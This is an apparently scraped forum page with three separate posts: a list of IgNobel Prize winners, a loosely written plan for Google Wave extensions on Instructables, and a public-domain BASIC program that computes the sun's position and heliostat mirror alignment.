Yes, it's award season again - the IgNobel Awards. PHYSIOLOGY PRIZE: Anna Wilkinson (of the UK), Natalie Sebanz (of NETHERLANDS, HUNGARY, and AUSTRIA), Isabella Mandl (of AUSTRIA) and Ludwig Huber (of AUSTRIA) for their study 'No Evidence of Contagious Yawning in the Red-Footed Tortoise." CHEMISTRY PRIZE: Makoto Imai, Naoki Urushihata, Hideki Tanemura, Yukinobu Tajima, Hideaki Goto, Koichiro Mizoguchi and Junichi Murakami of JAPAN, for determining the ideal density of airborne wasabi (pungent horseradish) to awaken sleeping people in case of a fire or other emergency, and for applying this knowledge to invent the wasabi alarm. MEDICINE PRIZE: Mirjam Tuk (of THE NETHERLANDS and the UK), Debra Trampe (of THE NETHERLANDS) and Luk Warlop (of BELGIUM). and jointly to Matthew Lewis, Peter Snyder and Robert Feldman (of the USA), Robert Pietrzak, David Darby, and Paul Maruff (of AUSTRALIA) for demonstrating that people make better decisions about some kinds of things — but worse decisions about other kinds of things‚ when they have a strong urge to urinate. PSYCHOLOGY PRIZE: Karl Halvor Teigen of the University of Oslo, NORWAY, for trying to understand why, in everyday life, people sigh. LITERATURE PRIZE: John Perry of Stanford University, USA, for his Theory of Structured Procrastination, which says: To be a high achiever, always work on something important, using it as a way to avoid doing something that's even more important. BIOLOGY PRIZE: Darryl Gwynne (of CANADA and AUSTRALIA and the USA) and David Rentz (of AUSTRALIA and the USA) for discovering that a certain kind of beetle mates with a certain kind of Australian beer bottle PHYSICS PRIZE: Philippe Perrin, Cyril Perrot, Dominique Deviterne and Bruno Ragaru (of FRANCE), and Herman Kingma (of THE NETHERLANDS), for determining why discus throwers become dizzy, and why hammer throwers don't. MATHEMATICS PRIZE: Jointly awarded to the following "team" for teaching the world to be careful when making mathematical assumptions and calculations. Dorothy Martin of the USA (who predicted the world would end in 1954), Pat Robertson of the USA (who predicted the world would end in 1982), Elizabeth Clare Prophet of the USA (who predicted the world would end in 1990), Lee Jang Rim of KOREA (who predicted the world would end in 1992), Credonia Mwerinde of UGANDA (who predicted the world would end in 1999), Harold Camping of the USA (who predicted the world would end on September 6, 1994 and later predicted that the world will end on October 21, 2011), PEACE PRIZE: Arturas Zuokas, the mayor of Vilnius, LITHUANIA, for demonstrating that the problem of illegally parked luxury cars can be solved by running them over with an armored tank. PUBLIC SAFETY PRIZE: John Senders of the University of Toronto, CANADA, for conducting a series of safety experiments in which a person drives an automobile on a major highway while a visor repeatedly flaps down over his face, blinding him. You can watch the whole ceremony here, although the video is over two hours long... Annals of Improbable Research  

Posted by Kiteman 7 years ago


Instruct a wave.

Instructables can be much better. Powered by google wave. after i get my server set up with google wave i will try to help instructables by building extentions to help the whole thing work. Installing instructable found @ https://www.instructables.com/id/How-to-install-Google-Wave-to-your-server/ first instructables would need to install the wave extention to openfire and send me an email at james@jamesm.com.au when thats done for me to start working, making extentions. Installing instructable found @ https://www.instructables.com/id/How-to-install-Google-Wave-to-your-server/ robots made: Rossy, translater, spelly, spell checker, bloggy, alows waves to be on https://blog.instructables.com/ blog? please can still use wave, robots i will make: Sally, alows people to sell there projects using paypal, not made yet, hard, instructables robot, will be a hidden group that would include the robots above, hardest extentions i will make: JW, uploads video(mp4, flv, avi, ect), music(mp3, avi, wav, ect), images(jpeg, jpg, gif, ect), not yet, easy, swf view, alow swf files to be shown on instructables, not yet, easy Questions... will this disable instructables for a little lime? NO, to annoying. will we need to resumbit our instructables? NO that would take forever, robots job. what would instructables like this for? NO SLOW FLASH, faster to load, interactivity, save space Facts. Addsence will be getting instructables more $$ by more users. members can make group projects. members in an area can organize an event. eg maker-fair (please come to australia) members can add any files into waves. (some files may need a new extention just made for them) I will be updating this alot when I think of more so come back soon. Extentions found: Canvas -- bad when i saw this -- vectoreditor -- this has a little prob with text. like/dislike, html_gadget. Extentions i'm working on: JW player uploads and plays videos. (still needing some more development) Bot_protecter. simple editable div can not be recorded by bots eg. email addresses. (NOSPAM WAHOO) i will add all the xml files to a wave for me to create installers and add them stright into the instructable robot i am also working on. How will the gadgets be called without the xml file to add manualy? ok so if i can i will alow the instructable robot to change [canvas] [video] [like] [html] into the gadgets. the video first ask for a file and then embed that video with the jw player and lisenced if donations go towards that later in this project. and for the bot_protecter it will just pick up email address and add them into the safe gadget i made or get called by [safe]. theese can be shown as plain text by {canvas} that will show as [canvas]. if you want to see what some gadgets are goto http://jamesm.com.au/blog/ just remember that you neeed an account untill they alow guests to look at waves it is a smart way to embed the waves that i will make better when i can and this is not installedd on my server because i need to update the java. cheers and happy waven.

Posted by james.mcglashan 8 years ago


heliostat and sun tracker basic program

In the late 1980s, I designed, built and programmed a computer-controlled heliostat. Its mirror reflected sunlight into my living-room, making it much brighter. It worked excellently with almost no attention for many years, until a neighbour's tree grew and blocked sunlight from reaching the mirror. The computer was a Commodore VIC 20, which was old even then, and had only 4.5 kilobytes of memory. The program I wrote, in Commodore BASIC, fitted into that space and handled all the control functions. It even included a few "bells and whistles". For example, at night-time the mirror was automatically parked face downward to reduce the buildup of dust. That particular program would work only on a VIC, and I haven't seen any of those for many years. However, I have recently taken the astronomical and trigonometrical parts of the program and made them into a new program which I'll append below. It calculates the position of the sun in the sky, as azimuth (true compass bearing) and angle of elevation, as seen from anywhere on the earth at any time on any date. It also calculates the required orientation of a mirror if it is to reflect sunlight in any desired direction. With the addition of some code to enable the computer to control motors, this could become the software for a computerized sun-tracker or heliostat. I'll append two versions of the program. The first is in QBasic, and contains quite a lot of explanatory comments. The second version is in a very generic BASIC, and has been tested on many implementations of the language. It even has line numbers! Personally, I prefer the QBasic version. The coding is more elegant. However, the generic version is likely to be useful to more people. It's public-domain. Use it for any purpose, even commercially. Enjoy! dow ' SunAlign.BAS (Version for QBasic and similar dialects) ' Calculates position of sun in sky, as azimuth (compass bearing ' measured clockwise from True North) and angle of elevation, as ' seen from any place on earth, on any date and any time. ' Also calculates alignment of a heliostat mirror. ' David Williams ' P.O. Box 48512 ' 3605 Lakeshore Blvd. West ' Toronto, Ontario. M8W 4Y6 ' Canada ' Initially dated 2007 Jul 07 ' This version 2008 Jan 13 ' All angles in radians except in i/o routines DegIn and DegOut DECLARE SUB C2P (X, Y, Z, AZ, EL) DECLARE SUB P2C (AZ, EL, X, Y, Z) DECLARE FUNCTION Ang (X, Y) DECLARE SUB DegIn (P$, X) DECLARE SUB DegOut (P$, X) CONST PY = 3.1415926536# ' "PI" not assignable in some BASICs CONST DR = 180 / PY ' degree / radian factor W = 2 * PY / 365 ' earth's mean orbital angular speed in radians/day WR = PY / 12' earth's speed of rotation relative to sun (radians/hour) C = -23.45 / DR ' reverse angle of earth's axial tilt in radians ST = SIN(C) ' sine of reverse tilt CT = COS(C) ' cosine of reverse tilt E2 = 2 * .0167 ' twice earth's orbital eccentricity SN = 10 * W ' 10 days from December solstice to New Year (Jan 1) SP = 12 * W ' 12 days from December solstice to perihelion CLS Menu: PRINT "1. Calculate sun's position" PRINT "2. Calculate mirror orientation" PRINT "3. Calculate both" PRINT "4. Quit program" PRINT PRINT "Which? (1 - 4)"; DO S% = VAL(INKEY$) LOOP UNTIL S% >= 1 AND S% <= 4 PRINT S% IF S% = 4 THEN END ' Note: For brevity, no error checks on user inputs PRINT PRINT "Use negative numbers for directions opposite to those shown." PRINT DegIn "Observer's latitude (degrees North)", LT DegIn "Observer's longitude (degrees East)", LG INPUT "Time Zone (+/- hours from GMT/UT)"; TZN INPUT "Time (HH,MM) (24-hr format)"; HR, MIN INPUT "Date (M#,D#)"; Mth%, Day% PRINT CL = PY / 2 - LT ' co-latitude D = INT(30.6 * ((Mth% + 9) MOD 12) + 58.5 + Day%) MOD 365 ' day of year (D = 0 on Jan 1) A = W * D + SN ' orbit angle since solstice at mean speed B = A + E2 * SIN(A - SP) ' angle with correction for eccentricity C = (A - ATN(TAN(B) / CT)) / PY SL = PY * (C - INT(C + .5))' solar longitude relative to mean position C = ST * COS(B) DC = ATN(C / SQR(1 - C * C)) ' solar declination (latitude) ' arcsine of C. ASN not directly available in QBasic LD = (HR - TZN + MIN / 60) * WR + SL + LG ' longitude difference CALL P2C(LD, DC, sX, sY, sZ) ' polar axis (perpend'r to azimuth plane) CALL C2P(sY, sZ, sX, sAZ, sEL) ' horizontal axis CALL P2C(sAZ - CL, sEL, sY, sZ, sX) ' rotate by co-latitude IF sZ < 0 THEN BEEP PRINT "Sun Below Horizon" PRINT GOTO NewCalc END IF IF S% <> 2 THEN ' calculate and display sun's position CALL C2P(sX, sY, sZ, sAZ, sEL) ' vertical axis DegOut "Sun's azimuth: ", sAZ DegOut "Sun's elevation: ", sEL PRINT END IF IF S% > 1 THEN ' calculate and display mirror orientation PRINT "For target direction of light reflected from mirror:" DegIn "Azimuth of target direction (degrees)", tAZ DegIn "Elevation of target direction (degrees)", tEL PRINT CALL P2C(tAZ, tEL, tX, tY, tZ) ' target vector X,Y,Z CALL C2P(sX + tX, sY + tY, sZ + tZ, mAZ, mEL) ' angle bisection by vector addition PRINT "Mirror aim direction (perpendicular to surface):" DegOut "Azimuth: ", mAZ DegOut "Elevation: ", mEL PRINT END IF NewCalc: PRINT PRINT "New Calculation" PRINT GOTO Menu FUNCTION Ang (X, Y) ' calculates angle from positive X axis to vector to (X,Y) SELECT CASE SGN(X) CASE 1: Ang = ATN(Y / X) CASE -1: Ang = ATN(Y / X) + PY CASE ELSE: Ang = SGN(Y) * PY / 2 END SELECT END FUNCTION SUB C2P (X, Y, Z, AZ, EL) ' Cartesian to Polar. Convert from X,Y,Z to AZ,EL EL = Ang(SQR(X * X + Y * Y), Z) A = Ang(Y, X) IF A < PY THEN AZ = A + PY ELSE AZ = A - PY END SUB SUB DegIn (P$, X) ' Input angle in degrees and convert to radians PRINT P$; INPUT N X = N / DR END SUB SUB DegOut (P$, X) ' converts radians to degrees, rounds to nearest 0.1, and prints S$ = LTRIM$(STR$(INT(10 * ABS(X * DR) + .5))) IF S$ = "3600" THEN S$ = "0" IF LEN(S$) = 1 THEN S$ = "0" + S$ IF X < 0 THEN IF VAL(S$) THEN S$ = "-" + S$ PRINT P$; LEFT$(S$, LEN(S$) - 1); "."; RIGHT$(S$, 1); " degrees" END SUB SUB P2C (AZ, EL, X, Y, Z) ' Polar to Cartesian. Convert from AZ,EL to X,Y,Z Z = SIN(EL) C = -COS(EL) X = C * SIN(AZ) Y = C * COS(AZ) END SUB 100 REM SunAlign.BAS (Generic BASIC version) 110 REM Calculates position of sun in sky, as azimuth (compass bearing 120 REM measured clockwise from True North) and angle of elevation, as 130 REM seen from any place on earth, on any date and any time. 140 REM Also calculates alignment of a heliostat mirror. 150 REM David Williams 160 REM P.O. Box 48512 170 REM 3605 Lakeshore Blvd. West 180 REM Toronto, Ontario. M8W 4Y6 190 REM Canada 200 REM Original date 2007 Jul 07. This version 2007 Oct 07 210 REM Note: For brevity, no error checks on user inputs 220 CLS 230 PRINT "Use negative numbers for opposite directions." 240 INPUT "Observer's latitude (degrees North)"; LT 250 INPUT "Observer's longitude (degrees East)"; LG 260 INPUT "Date (M#,D#)"; Mth, Day 270 INPUT "Time (HH,MM) (24-hr format)"; HR, MIN 280 INPUT "Time Zone (+/- hours from GMT/UT)"; TZN 290 PY = 4 * ATN(1): REM "PI" not assignable in some BASICs 300 DR = 180 / PY: REM degree/radian factor 310 W = 2 * PY / 365: REM earth's mean orbital speed in radians/day 320 C = -23.45 / DR: REM reverse angle of axial tilt in radians 330 ST = SIN(C): REM sine of reverse tilt 340 CT = COS(C): REM cosine of reverse tilt 350 E2 = 2 * .0167: REM twice earth's orbital eccentricity 360 SP = 12 * W: REM 12 days from December solstice to perihelion 370 D = INT(30.6 * ((Mth + 9) MOD 12) + 58.5 + Day) MOD 365 380 A = W * (D + 10): REM Solstice 10 days before Jan 1 390 B = A + E2 * SIN(A - SP) 400 C = (A - ATN(TAN(B) / CT)) / PY 410 ET = 720 * (C - INT(C + .5)): REM equation of time 420 REM in 720 minutes, earth rotates PI radians relative to sun 430 C = ST * COS(B) 440 EL = ATN(C / SQR(1 - C * C)) * DR: REM solar declination 450 AZ = 15 * (HR - TZN) + (MIN + ET) / 4 + LG: REM longitude diff 460 GOSUB 800 470 R = SQR(Y * Y + Z * Z) 480 AX = Y: AY = Z: GOSUB 710 490 A = AA + (90 - LT) / DR 500 Y = R * COS(A) 510 Z = R * SIN(A) 520 GOSUB 740 530 PRINT : REM AZ & EL are now sun's azimuth & elevation in degrees 540 IF EL < 0 THEN PRINT "Sun Below Horizon": END 550 R = AZ: GOSUB 870: PRINT "Sun's azimuth: "; R; " degrees" 560 R = EL: GOSUB 870: PRINT "Sun's elevation: "; R; " degrees" 570 PRINT 580 INPUT "Calculate heliostat mirror alignment (y/n)"; K$ 590 IF K$ = "N" OR K$ = "n" THEN END 600 SX = X: SY = Y: SZ = Z 610 PRINT 620 INPUT "Azimuth of target direction (degrees)"; AZ 630 INPUT "Elevation of target direction (degrees)"; EL 640 GOSUB 800 650 X = X + SX: Y = Y + SY: Z = Z + SZ: GOSUB 740 660 PRINT : REM AZ & EL are now aim azimuth & elevation in degrees 670 PRINT "Mirror aim direction (perpendicular to surface):" 680 R = AZ: GOSUB 870: PRINT "Azimuth: "; R; " degrees" 690 R = EL: GOSUB 870: PRINT "Elevation: "; R; " degrees" 700 END 710 IF AX = 0 THEN AA = SGN(AY) * PY / 2: RETURN 720 AA = ATN(AY / AX): IF AX < 0 THEN AA = AA + PY 730 RETURN 740 AX = SQR(X * X + Y * Y): AY = Z: GOSUB 710 750 EL = AA * DR 760 AX = Y: AY = X: GOSUB 710 770 AZ = AA * DR 780 IF AZ < 180 THEN AZ = AZ + 180 ELSE AZ = AZ - 180 790 RETURN 800 E = EL / DR 810 A = AZ / DR 820 Z = SIN(E) 830 C = 0 - COS(E): REM Won't work without "0" in Liberty Basic 840 X = C * SIN(A) 850 Y = C * COS(A) 860 RETURN 870 R = INT(10 * R + .5): IF R = 3600 THEN R = 0 880 R = R / 10 890 RETURN

Posted by david williams 10 years ago